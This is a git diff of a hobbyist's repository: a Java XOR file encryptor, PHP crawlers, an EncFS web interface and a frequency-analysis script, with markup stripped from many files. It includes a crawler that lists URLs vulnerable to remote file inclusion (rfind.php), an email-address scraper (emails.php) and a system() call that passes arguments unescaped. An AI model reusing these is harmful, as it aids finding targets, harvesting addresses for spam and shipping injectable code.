sb = b; + sc = a; + } + + if(((a * a) + (c * c)) == (b * b)) + { + sa = a; + sb = c; + sc = b; + } + + if((sa * sa + sb * sb) != (sc * sc)) + System.out.println("Neni pravouhly!"); + } + +} diff --git a/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar b/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar new file mode 100644 index 0000000..a3fc956 Binary files /dev/null and b/java/jCrossCrypt/src/crosscrypt/+libs/swing-layout-1.0.jar differ diff --git a/java/jCrossCrypt/src/crosscrypt/README.TXT b/java/jCrossCrypt/src/crosscrypt/README.TXT new file mode 100644 index 0000000..4f97f4a --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/README.TXT @@ -0,0 +1,12 @@ +------------------------------------------------------------------------ +This is the project README file. Here, you should describe your project. +Tell the reader (someone who does not know anything about this project) +all he/she needs to know. The comments should usually include at least: +------------------------------------------------------------------------ + +PROJECT TITLE: +PURPOSE OF PROJECT: +VERSION or DATE: +HOW TO START THIS PROJECT: +AUTHORS: +USER INSTRUCTIONS: diff --git a/java/jCrossCrypt/src/crosscrypt/bluej.pkg b/java/jCrossCrypt/src/crosscrypt/bluej.pkg new file mode 100644 index 0000000..bda79d5 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/bluej.pkg @@ -0,0 +1,9 @@ +#BlueJ package file +package.editor.height=400 +package.editor.width=560 +package.editor.x=460 +package.editor.y=232 +package.numDependencies=0 +package.numTargets=0 +package.showExtends=true +package.showUses=true diff --git a/java/jCrossCrypt/src/crosscrypt/bluej.pkh b/java/jCrossCrypt/src/crosscrypt/bluej.pkh new file mode 100644 index 0000000..bda79d5 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/bluej.pkh @@ -0,0 +1,9 @@ +#BlueJ package file +package.editor.height=400 +package.editor.width=560 +package.editor.x=460 +package.editor.y=232 +package.numDependencies=0 +package.numTargets=0 +package.showExtends=true +package.showUses=true diff --git a/java/jCrossCrypt/src/crosscrypt/build.xml b/java/jCrossCrypt/src/crosscrypt/build.xml new file mode 100644 index 0000000..3e5536f --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/build.xml @@ -0,0 +1,76 @@ + + + + + + Builds, tests, and runs the project crosscrypt. + + + + + + + + + + diff --git a/java/jCrossCrypt/src/crosscrypt/hlavokno.form b/java/jCrossCrypt/src/crosscrypt/hlavokno.form new file mode 100644 index 0000000..6f942d7 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/hlavokno.form @@ -0,0 +1,163 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/java/jCrossCrypt/src/crosscrypt/hlavokno.java b/java/jCrossCrypt/src/crosscrypt/hlavokno.java new file mode 100644 index 0000000..62fa4c1 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/hlavokno.java @@ -0,0 +1,241 @@ +import java.io.*; + +/* + * hlavokno.java + * + * Created on 24. září 2007, 0:37 + */ + +/** + * + * @author harvie + */ +public class hlavokno extends javax.swing.JFrame { + + /** Creates new form hlavokno */ + public hlavokno () { + initComponents (); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + // //GEN-BEGIN:initComponents + private void initComponents() { + jDialog1 = new javax.swing.JDialog(); + jFileChooser1 = new javax.swing.JFileChooser(); + jButton1 = new javax.swing.JButton(); + jTextField1 = new javax.swing.JTextField(); + jButton2 = new javax.swing.JButton(); + jTextField2 = new javax.swing.JTextField(); + jButton3 = new javax.swing.JButton(); + jTextField3 = new javax.swing.JTextField(); + jButton4 = new javax.swing.JButton(); + jTextField4 = new javax.swing.JTextField(); + jButton5 = new javax.swing.JButton(); + + jFileChooser1.setCurrentDirectory(null); + + org.jdesktop.layout.GroupLayout jDialog1Layout = new org.jdesktop.layout.GroupLayout(jDialog1.getContentPane()); + jDialog1.getContentPane().setLayout(jDialog1Layout); + jDialog1Layout.setHorizontalGroup( + jDialog1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(jFileChooser1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + ); + jDialog1Layout.setVerticalGroup( + jDialog1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(jFileChooser1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + ); + + setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); + setTitle("One-time pad (XOR) symetric encryption [<-Harvie 2oo7]"); + jButton1.setText("Input"); + jButton1.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton1MouseClicked(evt); + } + }); + + jButton2.setText("Output"); + jButton2.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton2MouseClicked(evt); + } + }); + + jButton3.setText("Key"); + jButton3.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton3MouseClicked(evt); + } + }); + + jButton4.setText("Start"); + jButton4.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + crypt(evt); + } + }); + + jTextField4.setEditable(false); + jTextField4.setText("Waiting..."); + + jButton5.setText(".ccr"); + jButton5.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton5MouseClicked(evt); + } + }); + + org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) + .add(org.jdesktop.layout.GroupLayout.LEADING, jButton4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 467, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, layout.createSequentialGroup() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) + .add(jButton3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, jButton2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, jButton1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) + .add(jTextField3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 383, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, jTextField1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 383, Short.MAX_VALUE) + .add(layout.createSequentialGroup() + .add(jTextField2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 323, Short.MAX_VALUE) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(jButton5)))) + .add(org.jdesktop.layout.GroupLayout.LEADING, jTextField4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 467, Short.MAX_VALUE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(layout.createSequentialGroup() + .addContainerGap() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) + .add(jButton1) + .add(jTextField1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 24, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(layout.createSequentialGroup() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) + .add(jTextField2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 25, Short.MAX_VALUE) + .add(jButton5)) + .add(6, 6, 6)) + .add(layout.createSequentialGroup() + .add(jButton2) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED))) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) + .add(jTextField3) + .add(jButton3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(jButton4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 26, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(jTextField4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + pack(); + }// //GEN-END:initComponents + + private void crypt (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_crypt +// TODO crypt code here: + + jTextField4.setText("Working..."); + //jProgressBar1.setValue(0); + + if(jTextField1.getText().equals(jTextField2.getText())) { jTextField4.setText("Output to Input - Can't do this!"); return; } + + try { + if( !(new File(jTextField1.getText()).isFile()) ) { jTextField4.setText("Input file not found!"); return; } + if( !(new File(jTextField3.getText()).isFile()) ) { jTextField4.setText("Key file not found!"); return; } + if( new File(jTextField2.getText()).isFile() ) { jTextField4.setText("Working (Rewriting output file)..."); } + long size = (new File(jTextField1.getText()).length()); + long keysize = (new File(jTextField3.getText()).length()); + long pos = 0; + + BufferedInputStream in = new BufferedInputStream(new FileInputStream(jTextField1.getText())); + BufferedInputStream key = new BufferedInputStream(new FileInputStream(jTextField3.getText())); + BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(jTextField2.getText())); + + //Alghorythm + int inb, keyb, progress; + while((inb = in.read()) != -1) { + while((keyb = key.read()) == -1 /*|| keyb == 0x0A*/ ) { + key.close(); + key = new BufferedInputStream(new FileInputStream(jTextField3.getText())); + } + out.write(inb^keyb); + //pos++; + //jProgressBar1.setValue((int)((pos/size)*100)); + } + + out.close(); + in.close(); + key.close(); + + jTextField4.setText("Waiting... ["+size+" b (en|de)crypted using "+keysize+" b key]"); + } catch(Exception e) { jTextField4.setText("I/O Error!"); } + }//GEN-LAST:event_crypt + + private void jButton5MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton5MouseClicked +// TODO add your handling code here: + jTextField2.setText(jTextField2.getText()+".ccr"); + }//GEN-LAST:event_jButton5MouseClicked + + private void jButton3MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton3MouseClicked +// TODO add your handling code here: + int returnVal = jFileChooser1.showOpenDialog(jDialog1); + if(jFileChooser1.getSelectedFile() != null) { + jTextField3.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + } + }//GEN-LAST:event_jButton3MouseClicked + + private void jButton2MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton2MouseClicked +// TODO add your handling code here: + int returnVal = jFileChooser1.showOpenDialog(jDialog1); + if(jFileChooser1.getSelectedFile() != null) { + jTextField2.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + } + }//GEN-LAST:event_jButton2MouseClicked + + private void jButton1MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton1MouseClicked +// TODO add your handling code here: + int returnVal = jFileChooser1.showOpenDialog(jDialog1); + if(jFileChooser1.getSelectedFile() != null) { + jTextField1.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + jTextField2.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + } + }//GEN-LAST:event_jButton1MouseClicked + + /** + * @param args the command line arguments + */ + public static void main (String args[]) { + java.awt.EventQueue.invokeLater (new Runnable () { + public void run () { + new hlavokno ().setVisible (true); + } + }); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton jButton1; + private javax.swing.JButton jButton2; + private javax.swing.JButton jButton3; + private javax.swing.JButton jButton4; + private javax.swing.JButton jButton5; + private javax.swing.JDialog jDialog1; + private javax.swing.JFileChooser jFileChooser1; + private javax.swing.JTextField jTextField1; + private javax.swing.JTextField jTextField2; + private javax.swing.JTextField jTextField3; + private javax.swing.JTextField jTextField4; + // End of variables declaration//GEN-END:variables + +} diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml new file mode 100644 index 0000000..3292c97 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml @@ -0,0 +1,594 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + + + + + + + + + + + + java -cp "${run.classpath.with.dist.jar}" ${main.class} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + java -jar "${dist.jar.resolved}" + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties new file mode 100644 index 0000000..99025bd --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties @@ -0,0 +1,6 @@ +application.args= + +## classpath entry that is composed from content of bluej.userlib.*.location properties in the user home's bluej.properties file.. +## rebuilt on every opening of the project in netbeans +bluej.config.libraries= +user.properties.file=/home/harvie/.netbeans/5.5bluej/build.properties diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml new file mode 100644 index 0000000..c1f155a --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml @@ -0,0 +1,4 @@ + + + + diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties b/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties new file mode 100644 index 0000000..f423c1c --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties @@ -0,0 +1,48 @@ +application.args= +build.classes.dir=${build.dir} +build.classes.excludes=**/*.java,**/*.form +build.dir=${basedir} +build.generated.dir=${build.dir}/generated +build.sysclasspath=ignore +build.test.classes.dir=${build.dir} +build.test.results.dir=${build.dir}/test/results +debug.classpath=\ + ${run.classpath} +debug.test.classpath=\ + ${run.test.classpath} +dist.dir=dist +dist.jar=${dist.dir}/crosscrypt.jar +dist.javadoc.dir=${build.dir}/doc +jar.compress=false +javac.compilerargs= +javac.deprecation=false +javac.source=1.5 +javac.target=1.5 +javac.classpath=\ + ${libs.junit.classpath} +javac.test.classpath=\ + ${javac.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding= +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle=crosscrypt +main.class=hlavokno +manifest.file=manifest.mf +meta.inf.dir=${src.dir}/META-INF +platform.active=default_platform +run.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +run.jvmargs= +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +src.dir=${basedir} +test.src.dir=${basedir} diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml new file mode 100644 index 0000000..6cf00ca --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml @@ -0,0 +1,16 @@ + + + org.netbeans.bluej.bluejproject + + + + 1.6.5 + + + + + + + + + diff --git a/php/batstat.php b/php/batstat.php new file mode 100755 index 0000000..3740827 --- /dev/null +++ b/php/batstat.php @@ -0,0 +1,53 @@ +#!/usr/bin/php + $max) { + fclose($fp); + if($GLOBALS['debug']) echo("**Too much big file!!!: $file\n"); + return(0); + } + } + @fclose($fp); + return(1); +} +function check_crawl_url($url) { //URL Filter for crawl_url function + if($GLOBALS['debug']) echo("check_crawl_url\n"); + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + + @fclose($GLOBALS['total']); + if(in_file($url, $GLOBALS['crawl_file'])) return(0); + $GLOBALS['total'] = fopen($GLOBALS['crawl_file'], 'a'); + + if(!file_size_check($url, $GLOBALS['maximum_file_size'])) return(0); + return(1); //1 == disable whitelisting, 0 == enable whitelisting +} + +function save_crawled_url($url) { //Saves URL to database, etc... + if($GLOBALS['debug']) echo("save_crawled_url\n"); + $GLOBALS['total_urls']++; + $url = trim($url); + echo($GLOBALS['total_urls'].':'); + echo($url."\n"); + @fwrite($GLOBALS['total'], $url."\n"); + @fwrite($GLOBALS['next'], $url."\n"); +} + +function crawl_url_once($url) { //Main crawling function + if($GLOBALS['debug']) echo("crawl_url_once\n"); + save_crawled_url($url); + $in = @file($url); if(!$in || !is_array($in)) return(1); + foreach($in as $line) { + $line = spliti('href="http://', $line); + if(sizeof($line) > 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + $nurl = spliti('(\?|#|\*|")', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug + if(check_crawl_url($nurl)) save_crawled_url($nurl); + } + } + } +} + + + + +//CODE +if(@filesize($nextc_file) < 8) { + $next = fopen($nextc_file, 'a'); + fwrite($next, $seed_url."\n"); + fclose($next); +} +if(is_file($nextc_file)) { + @unlink($lastc_file); + copy($nextc_file, $lastc_file); + unlink($nextc_file); +} + +$total_urls = 0; +while(1) { + if($debug) echo("\n-LOOP\n"); + $last = fopen($lastc_file, 'r'); + $next = fopen($nextc_file, 'a'); + $total = fopen($crawl_file, 'a'); + while(!feof($last)) { + $url = trim(fgets($last)); + crawl_url_once($url); + } + @fclose($crawl_file); + @fclose($lastc_file); + @fclose($nextc_file); + unlink($lastc_file); + copy($nextc_file, $lastc_file); + unlink($nextc_file); +} + + diff --git a/php/crawler/old/emails.php b/php/crawler/old/emails.php new file mode 100755 index 0000000..5437165 --- /dev/null +++ b/php/crawler/old/emails.php @@ -0,0 +1,70 @@ +#!/usr/bin/php + 5.2.0-8+etch7 (ihrisko.org) + + + +//phpinfo(); die; + +ini_set('default_socket_timeout',1); //How long wait for a webserver? (seconds) +set_time_limit(0); //How long run? (seconds) +//$url='http://ad.doubleclick.net/click'; +$url='http://w.moreover.com/'; +$max_size = 10000; +$i = 0; +while(1) { +file_get_contents($url, false, null, 0, $max_size); +//preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($url, false, null, 0, $max_size)), $new_urls); +echo "#"; +$new_urls = $new_urls[0]; +$i++; +print_r($new_urls); echo($i); +} +die; + +$stdin = fopen('php://stdin','r'); +while(!feof($stdin)) { + $url = fgets($stdin); + preg_match_all("/[-a-z0-9\._]+@[-a-z0-9\._]+\.[a-z]{2,4}/", @file_get_contents($url), $emails); $emails = $emails[0]; + foreach($emails as $email) { + echo($email."\n"); + } +} + + +die; + +?> +Hi everybody! +I am trying to write WebCrawler/Spider (as school project, and -of course- I am trying to be more wealthy than google ;o) + +So... I have big/small problem: +I am using file_get_contents() (i've tryed fopen() too...). +Crawler works 100% great, but sometimes it freezing. I have tryed to trace what function freezes, and i found it, it's file_get_contents()... + +So, i googled and found default_socket_timeout setting, i set it to 1, but sometimes its freezes and never get up again. + +I've done this example, so you can see, that it freezes after few iterations. I have supplyed URL, that causes freeze of my crawler (im not sure why...): + +#!/usr/bin/php +< ?php + +ini_set('default_socket_timeout',1); +set_time_limit(0); +//$url='http://ad.doubleclick.net/click'; +$url='http://w.moreover.com/'; +while(1) { + @file_get_contents($url, false, null, 0, 10000); + echo "#"; +} + +?> + +Of course, if somebody want be better than google, he have to have very good crawler. So I need very solid code, that can run and crawl a days without crash (like this one). Yeah, it's true, that this worked 1 or 2 hours before it crashes, or i stoped it, but the file_get_contents() doesn't work like i need. + +If you are interested to crawling, you can write me to YouSeekMe: 283//782//978 ;D + +And there are few statistics from my last session: ++5431 URLs; 19292 Downloaded; UpTime: 21.5 mins; Buffered: 30 URLs; History: 1000 URLs; Speed: 4.22 URLs/s, 14.98 Downloads/s + +THX4AnyHelp ;o) \ No newline at end of file diff --git a/php/crawler/old/rfind.php b/php/crawler/old/rfind.php new file mode 100755 index 0000000..91d1e19 --- /dev/null +++ b/php/crawler/old/rfind.php @@ -0,0 +1,34 @@ +#!/usr/bin/php + 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + //echo("#"); //debug + $nurl = spliti('"', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); //echo($nurl."\n"); //Debug + $test = @fopen($nurl, 'r'); + if(is_rfi_positive($nurl) && $test) echo("$nurl\n"); + } + } + } +} + diff --git a/php/encfs/a/.encfs6.xml b/php/encfs/a/.encfs6.xml new file mode 100755 index 0000000..1d18cf5 --- /dev/null +++ b/php/encfs/a/.encfs6.xml @@ -0,0 +1,29 @@ + + + + + EncFS 1.4.2 + + ssl/aes + 2 + 1 + + + nameio/block + 3 + 0 + + 256 + 1024 + 1 + 1 + 1 + 8 + 0 + 0 + 52 + +ANCcbQw2raDid+fCN2xG3usT/rdZidYGEVZGLn5Ip1VfCPuiu19ikYQQewiFaNGDifgJis + + + diff --git a/php/encfs/encfs.php b/php/encfs/encfs.php new file mode 100755 index 0000000..8852893 --- /dev/null +++ b/php/encfs/encfs.php @@ -0,0 +1,53 @@ + +

EncFS Web Interface

+$encrypted' '$plaintext' $encfsargs

"); ?> + + + +
+ + +
+
+ + +
+Brougt to you by Harvie 2oo9! + +
+
+
diff --git a/php/encfs/index.html b/php/encfs/index.html new file mode 100755 index 0000000..eeed575 --- /dev/null +++ b/php/encfs/index.html @@ -0,0 +1 @@ +bravo! podarilo se pripojit sifrovany oddil. diff --git a/php/encfs/php-encfs.php b/php/encfs/php-encfs.php new file mode 100755 index 0000000..fb15064 --- /dev/null +++ b/php/encfs/php-encfs.php @@ -0,0 +1,32 @@ +Error: Cannot use EncFS without TLS!Use https:// instead of http://'); +} + +function encfs_mount($what, $where, $password, $arguments='') { + system('/bin/echo '.escapeshellarg($password).' | /usr/bin/encfs -S '.escapeshellarg($what).' '.escapeshellarg($where)." $arguments".' 2>&1'); + flush(); +} + +function encfs_unmount($where) { + system('/usr/bin/fusermount -zu '.escapeshellarg($where).' 2>&1'); + flush(); +} + diff --git a/php/evolutia.php b/php/evolutia.php new file mode 100755 index 0000000..ec43b51 --- /dev/null +++ b/php/evolutia.php @@ -0,0 +1,95 @@ +

ASIIArt Evolution Matrix

+ $d) { + $c = $chars[$i]; $d = substr_count($text, $chars[$i]); + } + } + $text=str_replace($chars[rand(0,strlen($chars)-1)], $c, $text); + } + + for($i=0;$i +
+
+ + + Childs + Charset + Replace 1/ + +
+

+
+ Width + Height + + + + +

+ Info... +
+
+ / +
+ +
+ +
+
+ + + + + + +
+ $n) { + $data[$c] = ($n/$total)*100; + $debug -= $data[$c]; + } + + //echo("Debug: $debug\n"); //Debug + return($data); +} + +function freq_compare($cipher, $language) { //Do analysis (from two fingerprints) + foreach($cipher as $c => $n) { + $min = 1024; + foreach($language as $dc => $dn) { + $nmin = abs($n-$dn); + //echo $nmin."\n"; //Debug + if($nmin < $min) { + $min = $nmin; + $decrypted[$c] = $dc; + } + } + } + + return($decrypted); +} + +function freq_errors($decrypted) { //Test success (run with uncrypted cipher) + $errors = 0; + $total = 0; + foreach ($decrypted as $a => $b) { + if($a != $b) $errors++; + $total++; + } + $hits = $total - $errors; + $perc = round(($hits/$total)*100); + echo("$hits hits and $errors errors / $total total - that means, you are $perc% successfull\n"); + return $errors; +} + +///CODE////////////////////////////////////////////////////////////////////////// +$czech = freq_analyze('czech.txt'); +//print_r($czech); //Debug +$cipher = freq_analyze('cipher.txt'); +//print_r($cipher); //Debug + +$decrypted = freq_compare($cipher, $czech); +freq_errors($decrypted); +print_r($decrypted); \ No newline at end of file diff --git a/php/frekvencni_analyza/cipher.txt b/php/frekvencni_analyza/cipher.txt new file mode 100644 index 0000000..5cdd3e1 --- /dev/null +++ b/php/frekvencni_analyza/cipher.txt @@ -0,0 +1,158 @@ +Hakin9 - 4/2007 +Autor: .cCuMiNn. + +obalka casopisu + +Mame zde zacatek prazdnin, a protoze to pro vetsinu z nas znamena i mnohem vice casu pro sve zaliby, neutekla zajiste nikomu z vas novinka, ze vyslo nove cislo naseho oblibeneho casopisu Hakin9. + + + + + + +Obsah CD + +Jiz tradicne se muzete tesit na CD, ktere obsahuje live distribuci Aurox vydavanou pod nazvem Hakin9 live a mnozstvi zajimavych aplikaci, tutorialu a navodu v elektronicke podobe. Za zminku stoji tentokrat tyto aplikace: + +SecrecyKeeper by Smart Protection Labs - aplikace umoznujici ridit pristup k jednotlivym souborum na stanicich a serverech na zaklade pristupovych prav, ktera maji jednotlivi uzivatele. O vsech pristupech k informacim jsou vedeny podrobne protokoly. Verzi, kterou na CD nalenete, lze pouzivat po dobu jednoho roku peti agenty. +AES Password Manager - pokud si kladete otazku, jak na pocitaci bezpecne uchovavat sva pristupova hesla k ruznym sluzbam, cisla kreditnich karet a jejich PINy, pak by se tento program pro vas mohl stat tim spravnym resenim. Aplikace chrani tyto citlive informace 256bitovym AES sifrovanim a umoznuje napriklad jejich vkladani do webovych formularu. +Event Log Manager - program rozsirujici moznosti klasickeho prohlizece udalosti, ktery je dostupny v systemech Windows. Jednotlive zaznamy je mimojine mozne velice jednoduse radit, tridit, prohlizet ci mazat. +IisKeeper - 99denni trial verze programu, ktery vam umozni chranit pristup k nekterym zdrojum na IIS webovem serveru bez nutnosti zakladani novych uzivtelskych uctu. +Norman Virus Control Plus - antivirus obsahujici funkce SandBoxu a vsechno, co lze od dobreho antiviroveho programu ocekavat. Na CD naleznete i verzi pro operacni systemy Windows Vista. +Licence protektor - aplikace umoznujici ochranu multimedialnich souboru pred neopravnenych kopirovanim. Soubory jsou zasifrovany a pro jejich prezentaci se pouziva prehravac, ktery je soucasti tohoto baliku. +Obsah tisteneho casopisu + +Po te, co bychom za sebou meli strucny popis obsahu CD, muzeme spolecne nahlednout do stranek tisteneho casopisu. Tam na ctenare tentokrat cekaji clanky: + +Netrivialni uvod do vyzkumu malware - obsah tohoto clanku ctenarum priblizuje postupy, ktere se pouzivaji pri zkoumani skodlivych kodu zvanych malware. Predstaveny jsou nam nastroje, ktere se pri teto cinnosti vyuzivaji a strucne jsou popsany i ruzne triky, ktere soucasny malware vyuziva. +Slabiny elektronickeho bankovnictvi - v tomto clanku predstavuji jeho autori ctenarum nejrozsirenejsi kanaly elektronickeho bankovnictvi a poukazuji na slabiny kazdeho z nich. +Skutecny pribeh o celem prubehu jednech penetracnich testu - tento nazev nese clanek, ktery popisuje cinnosti pri penetracnich testech od sameho zacatku po konecnou zpravu. Ctenari se dozvi, jak mohou tyto testy probihat a jake nastroje jsou behem testu pouzity. +Prehled vybranych metod na ruseni omezeni v lokalnich sitich - v tomto clanku s mirne nepruhlednym nazvem se muzete docist o metodach, jejichz vyuzitim se daji obchazet omezeni, ktera do cesty uzivatelum kladou administratori site. Doctete o tunelovani sitoveho provozu na otevrenych portech nebo za vyuziti protokolu, ktere byly puvodne urceny k jinemu vyuziti. +Pokrocile overovani pristupu k Oracle - clanek pojednava o systemu Kerberos 